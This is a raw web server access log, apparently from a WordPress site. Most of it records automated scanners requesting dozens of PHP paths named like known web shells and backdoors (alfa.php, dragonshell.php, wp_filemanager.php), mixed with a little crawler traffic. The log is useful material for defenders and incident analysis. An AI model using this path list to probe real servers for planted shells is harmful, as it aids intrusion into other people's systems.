20.205.1.146 - - [14/Apr/2026:21:01:31 -0700] "GET /jga.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14250**
20.205.1.146 - - [14/Apr/2026:21:01:31 -0700] "GET /k.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 26 **0/26144**
20.205.1.146 - - [14/Apr/2026:21:01:31 -0700] "GET /vx.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 21 **0/21952**
20.205.1.146 - - [14/Apr/2026:21:01:31 -0700] "GET /ws77.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14345**
20.205.1.146 - - [14/Apr/2026:21:01:32 -0700] "GET /2.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18904**
20.205.1.146 - - [14/Apr/2026:21:01:32 -0700] "GET /abcd.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12995**
20.205.1.146 - - [14/Apr/2026:21:01:32 -0700] "GET /wp-content/plugins/admin.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 26 **0/26017**
20.205.1.146 - - [14/Apr/2026:21:01:32 -0700] "GET /asd.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16533**
20.205.1.146 - - [14/Apr/2026:21:01:33 -0700] "GET /default.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15067**
20.205.1.146 - - [14/Apr/2026:21:01:33 -0700] "GET /gettest.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17145**
20.205.1.146 - - [14/Apr/2026:21:01:33 -0700] "GET /install.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15578**
20.205.1.146 - - [14/Apr/2026:21:01:33 -0700] "GET /tfm.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13611**
20.205.1.146 - - [14/Apr/2026:21:01:33 -0700] "GET /ws81.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11401**
20.205.1.146 - - [14/Apr/2026:21:01:34 -0700] "GET /222.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17458**
20.205.1.146 - - [14/Apr/2026:21:01:34 -0700] "GET /t.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12120**
20.205.1.146 - - [14/Apr/2026:21:01:34 -0700] "GET /wp-admin/maint/index.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15478**
20.205.1.146 - - [14/Apr/2026:21:01:34 -0700] "GET /6xBAm3vODE05BSzkJZRAws.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12119**
20.205.1.146 - - [14/Apr/2026:21:01:34 -0700] "GET /a.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13782**
20.205.1.146 - - [14/Apr/2026:21:01:35 -0700] "GET /a1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15779**
20.205.1.146 - - [14/Apr/2026:21:01:35 -0700] "GET /onclickfuns.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19318**
20.205.1.146 - - [14/Apr/2026:21:01:35 -0700] "GET /w.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14067**
20.205.1.146 - - [14/Apr/2026:21:01:35 -0700] "GET /wp-admin/maint/about.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19115**
20.205.1.146 - - [14/Apr/2026:21:01:36 -0700] "GET /wp-content/plugins/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19890**
20.205.1.146 - - [14/Apr/2026:21:01:36 -0700] "GET /wp-good.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 27 **0/27257**
20.205.1.146 - - [14/Apr/2026:21:01:36 -0700] "GET /.info.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14042**
20.205.1.146 - - [14/Apr/2026:21:01:36 -0700] "GET /config.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20071**
20.205.1.146 - - [14/Apr/2026:21:01:36 -0700] "GET /item.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13916**
20.205.1.146 - - [14/Apr/2026:21:01:37 -0700] "GET /m.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23 **0/23096**
20.205.1.146 - - [14/Apr/2026:21:01:37 -0700] "GET /rh.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17281**
66.249.73.198 - - [14/Apr/2026:21:11:48 -0700] "GET / HTTP/1.1" 200 539 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 9 **0/9209**
103.59.161.71 - - [14/Apr/2026:21:41:07 -0700] "GET / HTTP/1.1" 200 708 "-" "Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 9 **0/9829**
114.119.145.183 - - [14/Apr/2026:22:10:25 -0700] "GET /robots.txt HTTP/1.1" 200 113 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 8 **0/8485**
91.224.92.141 - - [14/Apr/2026:22:16:24 -0700] "GET /wp-login.php HTTP/1.1" 200 1 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:120.0) Gecko/20100101 Firefox/120.0" 79 **0/79157**
91.224.92.141 - - [14/Apr/2026:22:16:25 -0700] "GET /wp-admin/ HTTP/1.1" 200 1 "https://www.bing.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:119.0) Gecko/20100101 Firefox/119.0" 132 **0/132578**
20.219.138.200 - - [14/Apr/2026:22:16:59 -0700] "GET /elp.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 284 **0/284859**
20.219.138.200 - - [14/Apr/2026:22:17:00 -0700] "GET /ftde.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 437 **0/437880**
20.219.138.200 - - [14/Apr/2026:22:17:00 -0700] "GET /wp-temp.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 339 **0/339786**
20.219.138.200 - - [14/Apr/2026:22:17:01 -0700] "GET /admin/function.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 156 **0/156279**
20.219.138.200 - - [14/Apr/2026:22:17:01 -0700] "GET /atomlib.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 389 **0/389133**
20.219.138.200 - - [14/Apr/2026:22:17:02 -0700] "GET /themes.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 552 **0/552681**
20.219.138.200 - - [14/Apr/2026:22:17:03 -0700] "GET /wp-blog.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 348 **0/348175**
20.219.138.200 - - [14/Apr/2026:22:17:03 -0700] "GET /wp-the.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 345 **0/345223**
20.219.138.200 - - [14/Apr/2026:22:17:04 -0700] "GET /CDX2.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 333 **0/333341**
20.219.138.200 - - [14/Apr/2026:22:17:05 -0700] "GET /profile.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45 **0/45422**
20.219.138.200 - - [14/Apr/2026:22:17:05 -0700] "GET /wp-content/themes/admin.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 218 **0/218858**
20.219.138.200 - - [14/Apr/2026:22:17:05 -0700] "GET /ws80.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 243 **0/243120**
20.219.138.200 - - [14/Apr/2026:22:17:06 -0700] "GET /403.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 55 **0/55311**
20.219.138.200 - - [14/Apr/2026:22:17:06 -0700] "GET /a4.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45 **0/45555**
20.219.138.200 - - [14/Apr/2026:22:17:07 -0700] "GET /app.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 136 **0/136466**
20.219.138.200 - - [14/Apr/2026:22:17:07 -0700] "GET /buy.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 58 **0/58143**
20.219.138.200 - - [14/Apr/2026:22:17:07 -0700] "GET /core.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 132 **0/132404**
20.219.138.200 - - [14/Apr/2026:22:17:08 -0700] "GET /lock360.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 148 **0/148211**
20.219.138.200 - - [14/Apr/2026:22:17:08 -0700] "GET /wp-block.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 58 **0/58030**
20.219.138.200 - - [14/Apr/2026:22:17:08 -0700] "GET /wp-content/admin.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 140 **0/140256**
20.219.138.200 - - [14/Apr/2026:22:17:09 -0700] "GET /wp-includes/images/wp-login.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 156 **0/156617**
20.219.138.200 - - [14/Apr/2026:22:17:09 -0700] "GET /hplfuns.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 136 **0/136002**
20.219.138.200 - - [14/Apr/2026:22:17:10 -0700] "GET /lock.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 47 **0/47197**
20.219.138.200 - - [14/Apr/2026:22:17:10 -0700] "GET /radio.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 44 **0/44246**
20.219.138.200 - - [14/Apr/2026:22:17:10 -0700] "GET /wp-content/themes/about.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 41 **0/41139**
20.219.138.200 - - [14/Apr/2026:22:17:10 -0700] "GET /wp-content/upgrade/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19026**
20.219.138.200 - - [14/Apr/2026:22:17:11 -0700] "GET /wp-includes/fonts.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 49 **0/49451**
20.219.138.200 - - [14/Apr/2026:22:17:11 -0700] "GET /ws.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13446**
20.219.138.200 - - [14/Apr/2026:22:17:11 -0700] "GET /ws49.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14420**
20.219.138.200 - - [14/Apr/2026:22:17:12 -0700] "GET /xmlrpc.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17362**
20.219.138.200 - - [14/Apr/2026:22:17:12 -0700] "GET /xozx.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 30 **0/30310**
20.219.138.200 - - [14/Apr/2026:22:17:12 -0700] "GET /xwx1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 52 **0/52759**
20.219.138.200 - - [14/Apr/2026:22:17:12 -0700] "GET /Cap.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 55 **0/55053**
20.219.138.200 - - [14/Apr/2026:22:17:13 -0700] "GET /ahax.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 115 **0/115940**
20.219.138.200 - - [14/Apr/2026:22:17:13 -0700] "GET /byrgo.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 49 **0/49195**
20.219.138.200 - - [14/Apr/2026:22:17:13 -0700] "GET /num.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13345**
20.219.138.200 - - [14/Apr/2026:22:17:14 -0700] "GET /wp-content/themes/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43 **0/43275**
20.219.138.200 - - [14/Apr/2026:22:17:14 -0700] "GET /12.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12422**
20.219.138.200 - - [14/Apr/2026:22:17:14 -0700] "GET /an.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 71 **0/71987**
20.219.138.200 - - [14/Apr/2026:22:17:15 -0700] "GET /archive.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 46 **0/46093**
20.219.138.200 - - [14/Apr/2026:22:17:15 -0700] "GET /as.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 137 **0/137649**
20.219.138.200 - - [14/Apr/2026:22:17:15 -0700] "GET /db.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 262 **0/262766**
20.219.138.200 - - [14/Apr/2026:22:17:16 -0700] "GET /error.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 141 **0/141244**
20.219.138.200 - - [14/Apr/2026:22:17:16 -0700] "GET /ortasekerli1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 44 **0/44785**
20.219.138.200 - - [14/Apr/2026:22:17:17 -0700] "GET /wp-blog-header.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 124 **0/124908**
20.219.138.200 - - [14/Apr/2026:22:17:17 -0700] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 152 **0/152272**
20.219.138.200 - - [14/Apr/2026:22:17:17 -0700] "GET /wp-includes/class-wp-http-client.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43 **0/43942**
20.219.138.200 - - [14/Apr/2026:22:17:18 -0700] "GET /wp-includes/configuration.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 48 **0/48130**
20.219.138.200 - - [14/Apr/2026:22:17:18 -0700] "GET /0x.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 133 **0/133135**
20.219.138.200 - - [14/Apr/2026:22:17:18 -0700] "GET /aaa.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 138 **0/138540**
20.219.138.200 - - [14/Apr/2026:22:17:19 -0700] "GET /byp.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 152 **0/152269**
20.219.138.200 - - [14/Apr/2026:22:17:19 -0700] "GET /dropdown.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 50 **0/50033**
20.219.138.200 - - [14/Apr/2026:22:17:19 -0700] "GET /mini.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 39 **0/39809**
20.219.138.200 - - [14/Apr/2026:22:17:20 -0700] "GET /new.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 46 **0/46147**
20.219.138.200 - - [14/Apr/2026:22:17:20 -0700] "GET /option.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 146 **0/146824**
20.219.138.200 - - [14/Apr/2026:22:17:20 -0700] "GET /s.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 335 **0/335685**
20.219.138.200 - - [14/Apr/2026:22:17:21 -0700] "GET /size.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 57 **0/57068**
20.219.138.200 - - [14/Apr/2026:22:17:21 -0700] "GET /system_log.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 346 **0/346622**
20.219.138.200 - - [14/Apr/2026:22:17:22 -0700] "GET /tool.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 216 **0/216063**
20.219.138.200 - - [14/Apr/2026:22:17:22 -0700] "GET /wp-admin.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 123 **0/123215**
20.219.138.200 - - [14/Apr/2026:22:17:23 -0700] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 238 **0/238263**
20.219.138.200 - - [14/Apr/2026:22:17:23 -0700] "GET /about/function.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 145 **0/145253**
20.219.138.200 - - [14/Apr/2026:22:17:24 -0700] "GET /albin.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 146 **0/146261**
20.219.138.200 - - [14/Apr/2026:22:17:24 -0700] "GET /alfa.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 229 **0/229735**
20.219.138.200 - - [14/Apr/2026:22:17:25 -0700] "GET /autoload_classmap.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 243 **0/243758**
20.219.138.200 - - [14/Apr/2026:22:17:25 -0700] "GET /av.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43 **0/43401**
20.219.138.200 - - [14/Apr/2026:22:17:25 -0700] "GET /dragonshell.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 236 **0/236849**
20.219.138.200 - - [14/Apr/2026:22:17:26 -0700] "GET /f35.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 147 **0/147338**
20.219.138.200 - - [14/Apr/2026:22:17:26 -0700] "GET /gg.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 54 **0/54266**
20.219.138.200 - - [14/Apr/2026:22:17:27 -0700] "GET /gifclass.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 147 **0/147975**
20.219.138.200 - - [14/Apr/2026:22:17:27 -0700] "GET /sql.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 145 **0/145058**
20.219.138.200 - - [14/Apr/2026:22:17:27 -0700] "GET /up.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 131 **0/131819**
